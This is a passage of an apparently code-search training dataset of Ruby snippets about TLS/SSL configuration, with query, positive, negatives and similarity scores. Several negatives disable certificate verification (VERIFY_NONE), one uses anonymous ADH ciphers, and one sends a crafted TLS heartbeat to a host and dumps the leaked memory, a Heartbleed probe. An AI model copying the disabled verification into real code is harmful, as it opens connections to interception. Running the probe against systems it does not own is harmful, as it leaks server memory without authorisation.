"def overwriteHtml(path, filecontents, logkey='')\n\tMcmlln::Tools.overwriteFile(path, filecontents)\nrescue => logstring\nensure\n Mcmlln::Tools.logtoJson(@log_hash, logkey, logstring)\nend",
"def overwriteHtml(path, filecontents, logkey='')\n\tMcmlln::Tools.overwriteFile(path, filecontents)\nrescue => logstring\nensure\n Mcmlln::Tools.logtoJson(@log_hash, logkey, logstring)\nend",
"def log_write(msg)\n puts msg\n end"
] |
[
"0.73818517",
"0.72938806",
"0.7093818",
"0.70292366",
"0.6922759",
"0.67276776",
"0.66566414",
"0.6652661",
"0.6609772",
"0.6551964",
"0.6502007",
"0.6463983",
"0.6455916",
"0.6449679",
"0.6423964",
"0.63783777",
"0.6368556",
"0.63674796",
"0.6358892",
"0.6338118",
"0.63032424",
"0.62874854",
"0.62868005",
"0.62387",
"0.6225093",
"0.6224785",
"0.6212933",
"0.62118137",
"0.62090117",
"0.6208331",
"0.61956984",
"0.61919224",
"0.61672616",
"0.61539626",
"0.6117022",
"0.6106348",
"0.6087814",
"0.60640144",
"0.6046534",
"0.60339016",
"0.6017322",
"0.6012572",
"0.59761846",
"0.59481096",
"0.5947603",
"0.5940978",
"0.5938493",
"0.5938481",
"0.5935885",
"0.59349865",
"0.5930879",
"0.5925681",
"0.5920356",
"0.5909449",
"0.5904781",
"0.59044254",
"0.5903522",
"0.58909816",
"0.5874496",
"0.5874227",
"0.5873528",
"0.58644295",
"0.58633995",
"0.5858551",
"0.5842157",
"0.58351606",
"0.5833799",
"0.5831658",
"0.58290577",
"0.5821109",
"0.5810299",
"0.5809874",
"0.58095735",
"0.57978666",
"0.57911575",
"0.57828707",
"0.578149",
"0.5769699",
"0.5766331",
"0.5750279",
"0.5750279",
"0.57422787",
"0.5735861",
"0.5731473",
"0.5723257",
"0.5723257",
"0.5720523",
"0.5720523",
"0.5719039",
"0.569989",
"0.56984055",
"0.5686",
"0.567917",
"0.5678494",
"0.5677451",
"0.567607",
"0.5675582",
"0.5675582",
"0.5675582",
"0.567222"
] |
0.7897593
|
0
|
TLSv1.3 reuse is always on
|
def test_off_tls1_3
skip 'TLSv1.3 unavailable' unless Puma::MiniSSL::HAS_TLS1_3 && CLIENT_HAS_TLS1_3
reused = run_session 'nil'
assert reused, 'TLSv1.3 session was not reused'
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def no_tlsv1_1; end",
"def no_tlsv1; end",
"def tls?; end",
"def bad_tlsv1_3?; end",
"def start_tls(host, ssl_socket_class, ssl_context); end",
"def starttls_always?; end",
"def starttls_auto?; end",
"def starttls?; end",
"def use_dtls\n @MySocket = MySocket.new\n @MySocket.socket_type = CoDTLS::SecureSocket\n @MySocket.ack_timeout = @ack_timeout\n\n self\n end",
"def default_tls_port; end",
"def verfiyDenyTLSv1_1()\n return verifyDenyProtocol(OpenSSL::SSL::TLS1_1_VERSION, \"TLSv1.1\")\n end",
"def tls_verify; end",
"def disable_tls; end",
"def start_tls(req, options); end",
"def free\n LibTLS::Raw.tls_config_free(as_raw)\n end",
"def ssl_opts; end",
"def capable_starttls?; end",
"def tls_version\n if @tls_options.key?('version') &&\n OpenSSL::SSL::SSLContext::METHODS.include?(@tls_options['version']) &&\n @tls_options['version'] =~ /\\ATLSv/\n @tls_options['version']\n else\n :TLSv1_2\n end\n end",
"def secure(options=nil)\n # Skip this if we're already secure.\n return if secured?\n\n defaults = {\n :timeout => nil,\n :ciphers => FTW::Agent::Configuration::SSL_CIPHER_MAP[\"MOZILLA_MODERN\"],\n :version => \"TLSv1.1\"\n }\n settings = defaults.merge(options) unless options.nil?\n\n @logger.info(\"Securing this connection\", :peer => peer, :options => settings)\n # Wrap this connection with TLS/SSL\n sslcontext = OpenSSL::SSL::SSLContext.new\n # If you use VERIFY_NONE, you are removing the trust feature of TLS. Don't do that.\n # Encryption without trust means you don't know who you are talking to.\n sslcontext.verify_mode = OpenSSL::SSL::VERIFY_PEER\n\n # ruby-core is refusing to patch ruby's default openssl settings to be more\n # secure, so let's fix that here. The next few lines setting options and\n # ciphers come from jmhodges' proposed patch\n ssloptions = OpenSSL::SSL::OP_ALL\n if defined?(OpenSSL::SSL::OP_DONT_INSERT_EMPTY_FRAGMENTS)\n ssloptions &= ~OpenSSL::SSL::OP_DONT_INSERT_EMPTY_FRAGMENTS\n end\n if defined?(OpenSSL::SSL::OP_NO_COMPRESSION)\n ssloptions |= OpenSSL::SSL::OP_NO_COMPRESSION\n end\n # https://github.com/jruby/jruby/issues/1874\n version = OpenSSL::SSL::SSLContext::METHODS.find { |x| x.to_s.gsub(\"_\",\".\") == settings[:version] }\n raise InvalidConfiguration, \"Invalid SSL/TLS version '#{settings[:version]}'\" if version.nil?\n sslcontext.ssl_version = version\n\n # We have to set ciphers *after* setting ssl_version because setting\n # ssl_version will reset the cipher set.\n sslcontext.options = ssloptions\n sslcontext.ciphers = settings[:ciphers]\n\n sslcontext.verify_callback = proc do |*args| \n @logger.debug(\"Verify peer via FTW::Connection#secure\", :callback => settings[:verify_callback])\n if settings[:verify_callback].respond_to?(:call)\n settings[:verify_callback].call(*args)\n end\n end\n sslcontext.cert_store = settings[:certificate_store]\n\n @socket = OpenSSL::SSL::SSLSocket.new(@socket, sslcontext)\n\n # TODO(sissel): Set up local certificat/key stuff. This is required for\n # server-side ssl operation, I think.\n\n if client?\n do_secure(:connect_nonblock, settings[:timeout])\n else\n do_secure(:accept_nonblock, settings[:timeout])\n end\n end",
"def ssl; end",
"def initialize(options = {})\n @options = {\n logger: nil,\n transport: 'tls',\n port: 0,\n address: '0.0.0.0',\n ssl_certificate: nil,\n ssl_key: nil,\n ssl_key_passphrase: nil,\n ssl_verify: false,\n ssl_verify_default_ca: false,\n ssl_verify_ca: nil,\n max_packet_size: 10_485_760,\n add_peer_fields: false,\n min_tls_version: 1.2,\n disable_handshake: false,\n }.merge!(options)\n\n @logger = @options[:logger]\n\n if @options[:transport] == 'tls'\n [:ssl_certificate, :ssl_key].each do |k|\n raise \"input/courier: '#{k}' is required\" if @options[k].nil?\n end\n\n if @options[:ssl_verify] && (!@options[:ssl_verify_default_ca] && @options[:ssl_verify_ca].nil?)\n raise 'input/courier: Either \\'ssl_verify_default_ca\\' or \\'ssl_verify_ca\\' must be specified when ssl_verify is true'\n end\n end\n\n begin\n @tcp_server = ExtendedTCPServer.new(@options[:address], @options[:port])\n\n # Query the port in case the port number is '0'\n # TCPServer#addr == [ address_family, port, address, address ]\n @port = @tcp_server.addr[1]\n\n if @options[:transport] == 'tls'\n ssl = OpenSSL::SSL::SSLContext.new\n\n # Disable SSLv2 and SSLv3\n # Call set_params first to ensure options attribute is there (hmmmm?)\n ssl.set_params\n # Modify the default options to ensure SSLv2 and SSLv3 is disabled\n # This retains any beneficial options set by default in the current Ruby implementation\n # TODO: https://github.com/jruby/jruby-openssl/pull/215 is fixed in JRuby 9.3.0.0\n # As of 7.15 Logstash, JRuby version is still 9.2\n # Once 9.3 is in use we can switch to using min_version and max_version\n ssl.options |= OpenSSL::SSL::OP_NO_SSLv2\n ssl.options |= OpenSSL::SSL::OP_NO_SSLv3\n ssl.options |= OpenSSL::SSL::OP_NO_TLSv1 if @options[:min_tls_version] > 1\n ssl.options |= OpenSSL::SSL::OP_NO_TLSv1_1 if @options[:min_tls_version] > 1.1\n ssl.options |= OpenSSL::SSL::OP_NO_TLSv1_2 if @options[:min_tls_version] > 1.2\n raise 'Invalid min_tls_version - max is 1.3' if @options[:min_tls_version] > 1.3\n\n # Set the certificate file\n ssl.cert = OpenSSL::X509::Certificate.new(File.read(@options[:ssl_certificate]))\n ssl.key = OpenSSL::PKey::RSA.new(File.read(@options[:ssl_key]), @options[:ssl_key_passphrase])\n\n if @options[:ssl_verify]\n cert_store = OpenSSL::X509::Store.new\n\n # Load the system default certificate path to the store\n cert_store.set_default_paths if @options[:ssl_verify_default_ca]\n\n if File.directory?(@options[:ssl_verify_ca])\n cert_store.add_path(@options[:ssl_verify_ca])\n else\n cert_store.add_file(@options[:ssl_verify_ca])\n end\n\n ssl.cert_store = cert_store\n\n ssl.verify_mode = OpenSSL::SSL::VERIFY_PEER | OpenSSL::SSL::VERIFY_FAIL_IF_NO_PEER_CERT\n end\n\n # Create the OpenSSL server - set start_immediately to false so we can multithread handshake\n @server = OpenSSL::SSL::SSLServer.new(@tcp_server, ssl)\n @server.start_immediately = false\n else\n @server = @tcp_server\n end\n\n @logger&.warn 'Ephemeral port allocated', transport: @options[:transport], port: @port if @options[:port].zero?\n rescue StandardError => e\n raise \"input/courier: Failed to initialise: #{e}\"\n end\n end",
"def setup_ssl_auth\n super\n @client.ciphers = [\"DEFAULT:!DH\"]\n end",
"def connect(global = true, opts={})\r\n\r\n self.sock = super(global, opts)\r\n\r\n if datastore['NRPESSL'] or @force_ssl\r\n ctx = OpenSSL::SSL::SSLContext.new(\"TLSv1\")\r\n ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE\r\n ctx.ciphers = \"ADH\"\r\n\r\n @ssl_socket = OpenSSL::SSL::SSLSocket.new(self.sock, ctx)\r\n\r\n @ssl_socket.connect\r\n\r\n self.sock.extend(Rex::Socket::SslTcp)\r\n self.sock.sslsock = @ssl_socket\r\n self.sock.sslctx = ctx\r\n end\r\n\r\n return self.sock\r\n end",
"def ssl_check_peer_state\n super\n end",
"def start_tls(plain_socket)\n ssl_socket_class.new(plain_socket, ssl_context).tap do |ssl_socket|\n ssl_socket.sync_close = true\n ssl_socket.connect\n end\n end",
"def disable_starttls; end",
"def ssl?; end",
"def ssl?; end",
"def ssl_transport_opts(opt, conn_params)\n opt.on(\"-1\", \"--tlsv1\", \"Use TLS version 1 when negotiating with \" +\n \"the remote Taverna Server server.\") do\n conn_params[:ssl_version] = :TLSv1\n end\n opt.on(\"-2\", \"--sslv2\", \"Use SSL version 2 when negotiating with \" +\n \"the remote Taverna Server server.\") do\n conn_params[:ssl_version] = :SSLv23\n end\n opt.on(\"-3\", \"--sslv3\", \"Use SSL version 3 when negotiating with \" +\n \"the remote Taverna Server server.\") do\n conn_params[:ssl_version] = :SSLv3\n end\n end",
"def configure_ssl(http); end",
"def ssl_version; end",
"def ssl_version; end",
"def test_cipher_strings\n socket = TCPSocket.new('rubyforge.org', 443)\n ctx = OpenSSL::SSL::SSLContext.new\n ctx.cert_store = OpenSSL::X509::Store.new\n ctx.verify_mode = 0\n ctx.cert = nil\n ctx.key = nil\n ctx.client_ca = nil\n ctx.ciphers = \"ALL:!ADH:!LOW:!EXP:!MD5:@STRENGTH\"\n\n ssl_socket = OpenSSL::SSL::SSLSocket.new(socket, ctx)\n ssl_socket.connect\n ssl_socket.close\n end",
"def ssl_options; end",
"def ssl_options; end",
"def ssl_cipher\n super\n end",
"def connect_ssl; end",
"def tls_verify=(_arg0); end",
"def use_ssl?; end",
"def default_ssl_socket_class; end",
"def force_ssl=(_arg0); end",
"def force_ssl=(_arg0); end",
"def force_ssl; end",
"def force_ssl; end",
"def starttls\n raise NotImplementedError\n end",
"def init_ssl\n ctx = OpenSSL::SSL::SSLContext.new\n ctx.set_params(verify_mode: OpenSSL::SSL::VERIFY_PEER)\n # We are overwriting the TCP socket with the SSL socket here.\n @socket = OpenSSL::SSL::SSLSocket.new(@socket, ctx)\n @socket.sync_close = true\n @socket.connect\n end",
"def create_ssl_socket\n ctx = OpenSSL::SSL::SSLContext.new\n ctx.set_params ssl_version: :TLSv1_2\n\n socket = TCPSocket.new(@uri.host, @port)\n OpenSSL::SSL::SSLSocket.new(socket, ctx)\n end",
"def ssl_cipher_filter; end",
"def start_tls(req, options)\n return unless req.uri.https? && !failed_proxy_connect?\n\n ssl_context = options.ssl_context\n\n unless ssl_context\n ssl_context = OpenSSL::SSL::SSLContext.new\n ssl_context.set_params(options.ssl || {})\n end\n\n @socket.start_tls(req.uri.host, options.ssl_socket_class, ssl_context)\n end",
"def tls_socket socket\n socket = OpenSSL::SSL::SSLSocket.new socket, create_ssl_context\n socket.sync_close = true\n socket.hostname = @host unless RE_IP_ADDR.match(@host)\n socket.connect\n socket\n end",
"def ssl_version_state; end",
"def post_init\n start_tls(\n :verify_peer => true,\n :private_key_file => key_file,\n :cert_chain_file => crt_file\n )\n end",
"def tls_hostname; end",
"def alive?; @keepalive; end",
"def ssl_verify; @opts[:ssl_verify]; end",
"def create_ssl_context\n ctx = OpenSSL::SSL::SSLContext.new\n ctx.ca_file = @tls[:ca_file] if @tls[:ca_file]\n ctx.ca_path = @tls[:ca_path] if @tls[:ca_path]\n ctx.ciphers = @tls[:ciphers] || OpenSSL::SSL::SSLContext::DEFAULT_PARAMS[:ciphers]\n ctx.options = @tls[:options] || OpenSSL::SSL::SSLContext::DEFAULT_PARAMS[:options]\n ctx.ssl_version = :TLSv1_2\n ctx.verify_mode = @tls[:verify_mode] || ( OpenSSL::SSL::VERIFY_PEER |\n OpenSSL::SSL::VERIFY_FAIL_IF_NO_PEER_CERT )\n\n # https://github.com/jruby/jruby-openssl/issues/99\n set_ssl_context_protocols ctx unless H2.jruby?\n\n ctx\n end",
"def create_ssl_context\n ctx = OpenSSL::SSL::SSLContext.new\n ctx.ca_file = @tls[:ca_file] if @tls[:ca_file]\n ctx.ca_path = @tls[:ca_path] if @tls[:ca_path]\n ctx.ciphers = @tls[:ciphers] || OpenSSL::SSL::SSLContext::DEFAULT_PARAMS[:ciphers]\n ctx.options = @tls[:options] || OpenSSL::SSL::SSLContext::DEFAULT_PARAMS[:options]\n ctx.ssl_version = :TLSv1_2\n ctx.verify_mode = @tls[:verify_mode] || ( OpenSSL::SSL::VERIFY_PEER |\n OpenSSL::SSL::VERIFY_FAIL_IF_NO_PEER_CERT )\n\n # https://github.com/jruby/jruby-openssl/issues/99\n set_ssl_context_protocols ctx unless H2.jruby?\n\n ctx\n end",
"def default_ssl_port; end",
"def post_init\n return unless @network.secure?\n\n verify_peer = (@network.options[:ssl_no_verify] ? false : true)\n start_tls verify_peer: verify_peer\n end",
"def tls_begin\n logdebug \"tls begin\", :sni_hostname => @sni_hostname\n @sslsocket = OpenSSL::SSL::SSLSocket.new(@tcpsocket, @ctx)\n if @sni_hostname\n if @sslsocket.respond_to? :hostname\n @sslsocket.hostname = @sni_hostname\n else\n logwarn \"#{@sslsocket.class} does not support setting an SNI hostname! This requires Ruby 1.9.x built against OpenSSL with SNI support.\",\n :ruby_version => RUBY_VERSION\n end\n end\n @state = :initialized\n end",
"def reset_client_ssl_statistics\n super\n end",
"def set_ssl_cipher(opts)\n opts = check_params(opts,[:ciphers])\n super(opts)\n end",
"def enable_ssl(opts); end",
"def open_ssl_socket()\n require 'openssl' unless defined?(OpenSSL)\n begin # Any raised SSL exceptions\n ctx = @sslctx_newparm ? OpenSSL::SSL::SSLContext.new(@sslctx_newparm) : OpenSSL::SSL::SSLContext.new\n ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE # Assume for now\n #\n # Note: if a client uses :ssl => true this would result in the gem using\n # the _default_ Ruby ciphers list. This is _known_ to fail in later\n # Ruby releases. The gem now detects :ssl => true, and replaces that\n # with:\n # * :ssl => Stomp::SSLParams.new\n #\n # The above results in the use of Stomp default parameters.\n #\n # To specifically request Stomp default parameters, use:\n # * :ssl => Stomp::SSLParams.new(..., :ciphers => Stomp::DEFAULT_CIPHERS)\n #\n # If connecting with an SSLParams instance, and the _default_ Ruby\n # ciphers list is actually required, use:\n # * :ssl => Stomp::SSLParams.new(..., :use_ruby_ciphers => true)\n #\n # If a custom ciphers list is required, connect with:\n # * :ssl => Stomp::SSLParams.new(..., :ciphers => custom_ciphers_list)\n #\n if @ssl != true\n #\n # Here @ssl is:\n # * an instance of Stomp::SSLParams\n # Control would not be here if @ssl == false or @ssl.nil?.\n #\n\n # Back reference the SSLContext\n @ssl.ctx = ctx\n\n # Server authentication parameters if required\n if @ssl.ts_files\n ctx.verify_mode = OpenSSL::SSL::VERIFY_PEER\n truststores = OpenSSL::X509::Store.new\n fl = @ssl.ts_files.split(\",\")\n fl.each do |fn|\n # Add next cert file listed\n raise Stomp::Error::SSLNoTruststoreFileError if !File::exists?(fn)\n raise Stomp::Error::SSLUnreadableTruststoreFileError if !File::readable?(fn)\n truststores.add_file(fn)\n end\n ctx.cert_store = truststores\n end\n\n # Client authentication parameters.\n # Both cert file and key file must be present or not, it can not be a mix.\n raise Stomp::Error::SSLClientParamsError if @ssl.cert_file.nil? && !@ssl.key_file.nil?\n raise Stomp::Error::SSLClientParamsError if !@ssl.cert_file.nil? && @ssl.key_file.nil?\n if @ssl.cert_file # Any check will do here\n raise Stomp::Error::SSLNoCertFileError if !File::exists?(@ssl.cert_file)\n raise Stomp::Error::SSLUnreadableCertFileError if !File::readable?(@ssl.cert_file)\n ctx.cert = OpenSSL::X509::Certificate.new(File.read(@ssl.cert_file))\n raise Stomp::Error::SSLNoKeyFileError if !File::exists?(@ssl.key_file)\n raise Stomp::Error::SSLUnreadableKeyFileError if !File::readable?(@ssl.key_file)\n ctx.key = OpenSSL::PKey::RSA.new(File.read(@ssl.key_file), @ssl.key_password)\n end\n\n # Cipher list\n # As of this writing, there are numerous problems with supplying\n # cipher lists to jruby. So we do not attempt to do that here.\n if !@ssl.use_ruby_ciphers # No Ruby ciphers (the default)\n if @ssl.ciphers # User ciphers list?\n ctx.ciphers = @ssl.ciphers # Accept user supplied ciphers\n else\n ctx.ciphers = Stomp::DEFAULT_CIPHERS # Just use Stomp defaults\n end\n end unless @jruby\n\n # Set SSLContext Options if user asks for it in Stomp::SSLParams\n # and SSL supports it.\n if @ssl.ssl_ctxopts && ctx.respond_to?(:options=)\n ctx.options = @ssl.ssl_ctxopts\n end\n\n end\n\n #\n ssl = nil\n slog(:on_ssl_connecting, log_params)\n # _dump_ctx(ctx)\n Timeout::timeout(@connect_timeout, Stomp::Error::SocketOpenTimeout) do\n tcp_socket = TCPSocket.open(@host, @port)\n ssl = OpenSSL::SSL::SSLSocket.new(tcp_socket, ctx)\n ssl.hostname = @host if ssl.respond_to? :hostname=\n ssl.sync_close = true # Sync ssl close with underlying TCP socket\n ssl.connect\n if (ssl.context.verify_mode != OpenSSL::SSL::VERIFY_NONE) && @ssl_post_conn_check\n ssl.post_connection_check(@host)\n end\n end\n def ssl.ready?\n ! @rbuffer.empty? || @io.ready?\n end\n if @ssl != true\n # Pass back results if possible\n if RUBY_VERSION =~ /1\\.8\\.[56]/\n @ssl.verify_result = \"N/A for Ruby #{RUBY_VERSION}\"\n else\n @ssl.verify_result = ssl.verify_result\n end\n @ssl.peer_cert = ssl.peer_cert\n end\n slog(:on_ssl_connected, log_params)\n ssl\n rescue Exception => ex\n lp = log_params.clone\n lp[:ssl_exception] = ex\n slog(:on_ssl_connectfail, lp)\n if ssl\n # shut down the TCP socket - we just failed to do the SSL handshake in time\n ssl.close\n end\n #\n puts ex.backtrace\n $stdout.flush\n raise # Reraise\n end\n end",
"def getSslTcpConnection(host, port)\n store = OpenSSL::X509::Store.new\n store.add_file(OpenSSL::X509::DEFAULT_CERT_FILE)\n sslContext = OpenSSL::SSL::SSLContext.new\n sslContext.cert_store = store\n sslContext.ssl_version = :SSLv23\n sslSocket = OpenSSL::SSL::SSLSocket.new(TCPSocket.new(host, port), sslContext)\n sslSocket.hostname = host #for Server Name Indication (SNI)\n sslSocket.sync_close = true #instead of calling close on tcp socket\n sslSocket.connect\n sslSocket\nend",
"def ssl_options=(_arg0); end",
"def ssl_options=(_arg0); end",
"def default_ssl_socket_class=(_arg0); end",
"def initialize(*args)\n old_initialize(*args)\n @ssl_context = OpenSSL::SSL::SSLContext.new\n @ssl_context.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end",
"def proceed\n @stream.start_tls\n success\n end",
"def serverssl\n super\n end",
"def check(host, port = 443)\n # Connect\n s = TCPSocket.new(host, port)\n\n # Send ClientHello message\n s.write(TLS_HANDSHAKE)\n\n # Foolishly wait for ServerHelloDone message\n loop until read_tls_header_type(s) == 22 and read_tls_handshake_type(s) == 14\n\n # Send Heartbeat Request message\n s.write(TLS_HEARTBEAT)\n\n # Read Heartbeat Response message if any\n if read_tls_header_type(s) == 24\n data = read_tls_heartbeat_data(s)\n if !data.nil? and data.size > 3\n puts \"Host #{host}:#{port} is vulnerable! Heartbeat response payload :\"\n puts Hexdump.dump(data)\n else\n puts \"Host #{host}:#{port} is safe\"\n end\n else\n puts \"Host #{host}:#{port} seems safe\"\n end\n\n # Disconnect\n s.close()\nend",
"def ssl_version=(ssl_version); end",
"def ssl_version=(ssl_version); end",
"def configure_socket_keepalive\n @socket.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, true)\n if defined?(Socket::TCP_KEEPINTVL) # Not available on JRuby\n @socket.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_KEEPINTVL, 10)\n @socket.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_KEEPCNT, 5)\n end\n if defined?(Socket::TCP_KEEPIDLE) # Not available on BSD / OSX\n @socket.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_KEEPIDLE, 50)\n end\n end",
"def reconnect()\r\n\r\n #puts \"reconnect() called.\"\r\n\r\n begin\r\n\r\n if ($sslsocket.nil? || $sslsocket.closed?)\r\n #puts \"Socket inactive. Reconnecting...\"\r\n\r\n #puts \"Setting up SSL context ...\"\r\n ctx = OpenSSL::SSL::SSLContext.new()\r\n\r\n # Options:\r\n # \"cert\", \"key\", \"client_ca\", \"ca_file\", \"ca_path\",\r\n # \"timeout\", \"verify_mode\", \"verify_depth\",\r\n # \"verify_callback\", \"options\", \"cert_store\", \"extra_chain_cert\"\r\n\r\n ctx.cert = OpenSSL::X509::Certificate.new(File.read(@keyfile))\r\n ctx.key = OpenSSL::PKey::RSA.new(File.read(@keyfile), @keypass)\r\n\r\n ctx.ca_file = @cafile\r\n ctx.verify_mode = OpenSSL::SSL::VERIFY_PEER | OpenSSL::SSL::VERIFY_FAIL_IF_NO_PEER_CERT\r\n #ctx.verify_mode = OpenSSL::SSL::VERIFY_PEER\r\n #ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE\r\n ctx.timeout = @@timeout\r\n\r\n if ctx.cert.nil?\r\n #puts \"warning: peer certificate won't be verified this session.\"\r\n ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE\r\n end\r\n\r\n #puts \"Opening socket to #{@host}:#{@port}...\"\r\n @socket = TCPSocket.open(@host, @port)\r\n #puts \"socket open\"\r\n #@socket.setsockopt(Socket::SOL_SOCKET, Socket::SO_RCVTIMEO, @@timeout)\r\n\r\n #@socket.setsockopt(Socket::SOL_SOCKET, Socket::SO_SNDTIMEO, @@timeout)\r\n\r\n $sslsocket = OpenSSL::SSL::SSLSocket.new(@socket, ctx)\r\n #puts \"socket created\"\r\n #$sslsocket.sync_close = true\r\n\r\n # $sslsocket should be good now\r\n #puts \"Connecting SSL socket ...\"\r\n $sslsocket.connect\r\n\r\n _startConnection()\r\n\r\n end\r\n\r\n if block_given?\r\n #puts \"Connecting SSL socket in block ...\"\r\n $sslsocket.connect if $sslsocket.closed?\r\n yield\r\n #puts \"SSL connection block finished.\"\r\n else\r\n #puts \"SSL connection wanting to do something else ...\"\r\n # do something non-OO\r\n end\r\n rescue Exception => ex\r\n warn \"Error reading from server: #{ex}\"\r\n end\r\n\r\n end",
"def makessl(params)\n\n if params.ssl_cert\n key, cert, chain = ssl_parse_pem(params.ssl_cert)\n else\n key, cert, chain = ssl_generate_certificate\n end\n\n ctx = OpenSSL::SSL::SSLContext.new()\n ctx.key = key\n ctx.cert = cert\n ctx.extra_chain_cert = chain\n ctx.options = 0\n\n if params.ssl_cipher\n ctx.ciphers = params.ssl_cipher\n end\n\n # Older versions of OpenSSL do not export the OP_NO_COMPRESSION symbol\n if defined?(OpenSSL::SSL::OP_NO_COMPRESSION)\n # enable/disable the SSL/TLS-level compression\n if params.ssl_compression\n ctx.options &= ~OpenSSL::SSL::OP_NO_COMPRESSION\n else\n ctx.options |= OpenSSL::SSL::OP_NO_COMPRESSION\n end\n end\n\n ctx.session_id_context = Rex::Text.rand_text(16)\n\n return ctx\n end",
"def ssl_options\n replace_verify_mode(ssl)\n end",
"def secure_ssl=(_arg0); end",
"def require_ssl\n @require_ssl = true\n end",
"def set_connection_pool_maximum_reuse(opts)\n opts = check_params(opts,[:reuses])\n super(opts)\n end",
"def starttls(value)\n send_text(\"220 2.0.0 TLS go ahead\")\n LOG.info(@mail[:mail_id]) {\"<-> (handshake)\"} if LogReceiverConversation\n conn = @connection.deepclone # save the unencrypted connection in case of error\n begin\n @connection.accept\n @mail[:encrypted] = @encrypted = true\n rescue OpenSSL::SSL::SSLError => e\n # STARTTLS failed: restore the unencrypted connection\n LOG.error(@mail[:mail_id]) {\"Error during STARTTLS: #{e}\"}\n @connection = conn # restore original\n @mail[:encrypted] = @encrypted = false\n return \"500 5.0.0 STARTTLS failed: #{e}\"\n end\n return nil\n end",
"def remote_keepalive(sender, body)\nend",
"def connection_completed\n start_tls\n end",
"def connection_completed\n start_tls\n end",
"def ssl_option\n super\n end",
"def connection_options\n ssl_options\n end",
"def close!\n ssl_socket.close\n end",
"def tls_hostname=(_arg0); end",
"def ssl_required?\n true\n end",
"def set_keep_alive; end",
"def ssl_version\n @ssl_version ||= nil\n end",
"def connection_pool_maximum_reuse\n super\n end",
"def setup_ssl\n @connection.use_ssl = @config[:use_ssl]\n\n if @config[:ssl_verify_peer]\n @connection.verify_mdoe = OpenSSL::SSL::VERIFY_PEER\n @connection.ca_file = @config[:ssl_ca_file]\n else\n @connection.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n end",
"def disable_ssl; end",
"def usessl?\n @usessl\n end",
"def lock_hosts_tls_opts(lock_hosts)\n lock_hosts.map do |host|\n if host.start_with?('rediss')\n Redis.new(url: host, ssl_params: {:verify_mode => OpenSSL::SSL::VERIFY_NONE})\n else\n Redis.new(url: host)\n end\n end\n end",
"def ssl_required?\r\n true\r\n end",
"def https!(flag = T.unsafe(nil)); end",
"def reset_server_ssl_statistics\n super\n end"
] |
[
"0.70453817",
"0.69870096",
"0.69190705",
"0.6842957",
"0.68168056",
"0.66559935",
"0.66394794",
"0.6622664",
"0.65920067",
"0.6552831",
"0.6531199",
"0.64529127",
"0.6402497",
"0.6349706",
"0.6304761",
"0.6294923",
"0.6268668",
"0.6232452",
"0.62277454",
"0.62243193",
"0.61358625",
"0.6134429",
"0.6096845",
"0.6086969",
"0.605177",
"0.60450834",
"0.60439473",
"0.60439473",
"0.6038239",
"0.6032221",
"0.6023402",
"0.6023402",
"0.6005878",
"0.59992945",
"0.59992945",
"0.59929025",
"0.59882396",
"0.5972801",
"0.593971",
"0.5915631",
"0.5883492",
"0.5883492",
"0.5880354",
"0.5880354",
"0.5834771",
"0.5816481",
"0.5811997",
"0.5790025",
"0.57799286",
"0.5778233",
"0.57652426",
"0.5760038",
"0.5745119",
"0.5726805",
"0.57096905",
"0.57073474",
"0.57073474",
"0.57044554",
"0.57000285",
"0.56973433",
"0.56951123",
"0.5684282",
"0.567116",
"0.5638472",
"0.56324035",
"0.56245285",
"0.56245285",
"0.559388",
"0.5581003",
"0.5562843",
"0.55509096",
"0.5549739",
"0.55264544",
"0.55264544",
"0.55185443",
"0.55104786",
"0.55028045",
"0.5500733",
"0.54990345",
"0.54874504",
"0.5482635",
"0.54825056",
"0.5477941",
"0.54716307",
"0.54716307",
"0.546775",
"0.5440707",
"0.54193735",
"0.53875136",
"0.5386004",
"0.5381941",
"0.53814507",
"0.53673184",
"0.536479",
"0.536314",
"0.5356532",
"0.53480464",
"0.5338221",
"0.53338504",
"0.53310144"
] |
0.7328142
|
0
|
SHOWS list of shows
|
def shows
res = call(
'shows',
{}
)
res.body['Itasa_Rest2_Server_Shows']['direct']['shows'].values
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @shows = Show.all\n end",
"def index\n @shows = Show.all\n end",
"def show_list\n process_show_list\n end",
"def index\n @showers = Shower.all\n end",
"def show_list\n\t\t\t@my_list.show\n\t\tend",
"def index\n @showings = Showing.all\n \n \n\n end",
"def index\n @shows = Show.where(confirmed: true).order(:title)\n end",
"def shows(args={})\n Hooloo.paginated_request('shows', {\n genre: canonical_name,\n sort: 'release_with_popularity'\n }.merge(args), 80) { |g, x| g << Hooloo::Show.new(x['show']) }\n end",
"def show\n initLists\n end",
"def index\n\n #NEED TO MAKE \"MY SHOWS\" LATER\n\n if user_signed_in?\n \n if current_user.is_admin\n @shows = Show.all\n else\n redirect_to root_path\n end\n\n else\n redirect_to root_path\n end\n end",
"def index\n @showings = Showing.all\n end",
"def index\n @showings = Showing.all\n end",
"def set_showslist\n @showslist = Showslist.find(params[:id])\n end",
"def index\n if show\n show.default_set_lists\n @show_set_lists = show.show_set_lists.all\n @tour = show.tour\n else\n @show_set_lists = ShowSetList.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @show_set_lists }\n format.json { render :json => @show_set_lists }\n end\n end",
"def set_show\n # @show = Show.find(params[:id])\n # @show = Show.friendly.find(params[:id])\n #@show = Show.includes(:episodes).where(\"episodes.approved\" => true).friendly.find(params[:id])\n @show = Show.includes(:episodes).where(\"episodes.approved\" => true).order('episodes.episode').friendly.find(params[:id])\n end",
"def index\n @tv_shows = TvShow.all\n end",
"def show\n @show = Show.find(params[:id])\n @setlists = Setlist.where(show_id: @show.id)\n @songs = []\n @setlists.each do |setlist|\n setlist_songs = SetlistSong.where(setlist_id: setlist.id)\n setlist_songs.each do |setlist_song|\n song = Song.find(setlist_song.song_id)\n @songs << song\n end\n end\n end",
"def index\n @movie_shows = MovieShow.all\n end",
